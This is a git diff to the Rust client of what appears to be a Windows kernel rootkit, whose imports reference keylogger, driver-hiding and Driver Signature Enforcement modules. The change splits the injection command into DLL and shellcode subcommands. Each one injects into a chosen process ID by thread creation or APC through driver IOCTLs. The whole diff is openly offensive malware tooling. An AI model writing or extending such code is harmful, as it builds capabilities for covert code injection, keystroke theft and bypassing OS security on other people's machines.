diff --git a/client/src/cli.rs b/client/src/cli.rs index c950147..f8f53ba 100644 --- a/client/src/cli.rs +++ b/client/src/cli.rs @@ -42,7 +42,7 @@ pub enum Commands { /// Name Driver #[arg(long, value_hint = ValueHint::FilePath, value_parser = validate_sys_extension)] - name: Option + name: Option, }, /// Operations related to DSE (Driver Signature Enforcement). DSE { @@ -113,6 +113,15 @@ pub enum Commands { }, /// Operations related to Injection Injection { + /// Subcommands for thread operations. + #[command(subcommand)] + sub_command: InjectionCommands, + }, +} + +#[derive(Subcommand)] +pub enum InjectionCommands { + DLL { /// The process ID to injection. #[arg(long, short, required = true)] pid: u32, @@ -125,6 +134,20 @@ pub enum Commands { #[arg(long, short, required = true)] type_: Injection }, + + Shellcode { + /// The process ID to injection. + #[arg(long, short, required = true)] + pid: u32, + + /// Path containing the dll + #[arg(long, required = true)] + path: String, + + /// Type shellcode + #[arg(long, short, required = true)] + type_: Injection + } } /// Enum representing the subcommands for process operations. diff --git a/client/src/main.rs b/client/src/main.rs index 6a82720..3cccf7d 100644 --- a/client/src/main.rs +++ b/client/src/main.rs @@ -2,7 +2,7 @@ use { clap::Parser, shared::ioctls::*, module::enumerate_module, - cli::{Cli, Commands, ProcessCommands, ThreadCommands}, + cli::{Cli, Commands, ProcessCommands, ThreadCommands, InjectionCommands, Injection}, driver::{dse, enumerate_driver, unhide_hide_driver}, keylogger::keylogger, process::{ @@ -203,15 +203,27 @@ fn main() { }, } }, - Commands::Injection { pid, path, type_ } => { - match type_ { - cli::Injection::Thread => { - injection_thread(IOCTL_INJECTION_THREAD, pid, path); - }, - cli::Injection::APC => { - injection_apc(IOCTL_INJECTION_APC, pid, path); + Commands::Injection { sub_command } => match sub_command { + InjectionCommands::DLL { pid, path, type_ } => { + match type_ { + Injection::Thread => { + injection_thread(IOCTL_INJECTION_DLL_THREAD, pid, path) + }, + Injection::APC => { + injection_apc(IOCTL_INJECTION_DLL_APC, pid, path) + }, } - } + }, + InjectionCommands::Shellcode { pid, path, type_ } => { + match type_ { + Injection::Thread => { + injection_thread(IOCTL_INJECTION_SHELLCODE_THREAD, pid, path) + }, + Injection::APC => { + injection_apc(IOCTL_INJECTION_SHELLCODE_APC, pid, path); + } + } + }, } } }